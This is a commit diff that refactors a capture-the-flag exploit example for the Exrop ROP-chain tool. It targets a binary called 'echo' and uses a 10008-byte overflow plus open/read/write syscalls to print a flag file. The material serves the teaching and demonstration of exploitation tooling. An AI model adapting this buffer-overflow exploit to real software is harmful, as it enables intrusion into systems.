update examples

examples/CJ2017_echo/exploit_orw.py

@@ -1,22 +1,19 @@
 from pwn import *
-import time
 from Exrop import Exrop
 
 binname = "echo"
-libc = ELF(binname, checksec=False)
-bss = libc.bss()
+elf = ELF(binname, checksec=False)
+rwaddr = elf.bss()
 
 SYS_OPEN = 2
 SYS_READ = 0
 SYS_WRITE = 1
 
-t = time.mktime(time.gmtime())
 rop = Exrop(binname)
-rop.find_gadgets(cache=True) # it's slow for first analyze keep waiting
-print("Analyzing done in {}s".format(time.mktime(time.gmtime()) - t))
-chain = rop.syscall(SYS_OPEN, ('./this_is_flag.txt', 0, 0), bss)
-chain += rop.syscall(SYS_READ, ('rax', bss, 0x40))
-chain += rop.syscall(SYS_WRITE, (1, bss, 0x40))
+rop.find_gadgets(cache=True)
+chain = rop.syscall(SYS_OPEN, ('./this_is_flag.txt', 0, 0), rwaddr)
+chain += rop.syscall(SYS_READ, ('rax', rwaddr, 0x40))
+chain += rop.syscall(SYS_WRITE, (1, rwaddr, 0x40))
 chain.dump()
 buf = b"A"*10008
 pay = buf + chain.payload_str()